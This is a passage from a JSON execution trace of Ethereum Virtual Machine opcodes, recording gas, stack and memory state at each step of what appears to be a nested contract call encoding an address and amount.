6a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6618,"op":"PUSH1","gas":65578,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6620,"op":"PUSH1","gas":65575,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6622,"op":"SHL","gas":65572,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6623,"op":"SUB","gas":65569,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6624,"op":"DUP5","gas":65566,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6625,"op":"AND","gas":65563,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6626,"op":"PUSH1","gas":65560,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6628,"op":"DUP3","gas":65557,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6629,"op":"ADD","gas":65554,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x24","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6630,"op":"MSTORE","gas":65551,"gasCost":15,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6631,"op":"PUSH1","gas":65536,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a00000000000000000000000000000000000000000000000000000000"]},{"pc":6633,"op":"DUP1","gas":65533,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a00000000000000000000000000000000000000000000000000000000"]},{"pc":6634,"op":"DUP3","gas":65530,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a00000000000000000000000000000000000000000000000000000000"]},{"pc":6635,"op":"ADD","gas":65527,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x44","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a00000000000000000000000000000000000000000000000000000000"]},{"pc":6636,"op":"DUP5","gas":65524,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a00000000000000000000000000000000000000000000000000000000"]},{"pc":6637,"op":"SWAP1","gas":65521,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0xc4","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a00000000000000000000000000000000000000000000000000000000"]},{"pc":6638,"op":"MSTORE","gas":65518,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x136dbf40ac09b","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a00000000000000000000000000000000000000000000000000000000"]},{"pc":6639,"op":"DUP3","gas":65512,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6640,"op":"MLOAD","gas":65509,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6641,"op":"DUP1","gas":65506,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6642,"op":"DUP4","gas":65503,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x80","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6643,"op":"SUB","gas":65500,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x80","0x80","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6644,"op":"SWAP1","gas":65497,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6645,"op":"SWAP2","gas":65494,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x44","0x0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6646,"op":"ADD","gas":65491,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x80","0x0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6647,"op":"DUP2","gas":65488,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x80","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6648,"op":"MSTORE","gas":65485,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x80","0x44","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6649,"op":"PUSH1","gas":65482,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6651,"op":"SWAP1","gas":65479,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x80","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6652,"op":"SWAP2","gas":65476,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x64","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6653,"op":"ADD","gas":65473,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0x64","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6654,"op":"SWAP1","gas":65470,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0x80","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6655,"op":"SWAP2","gas":65467,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d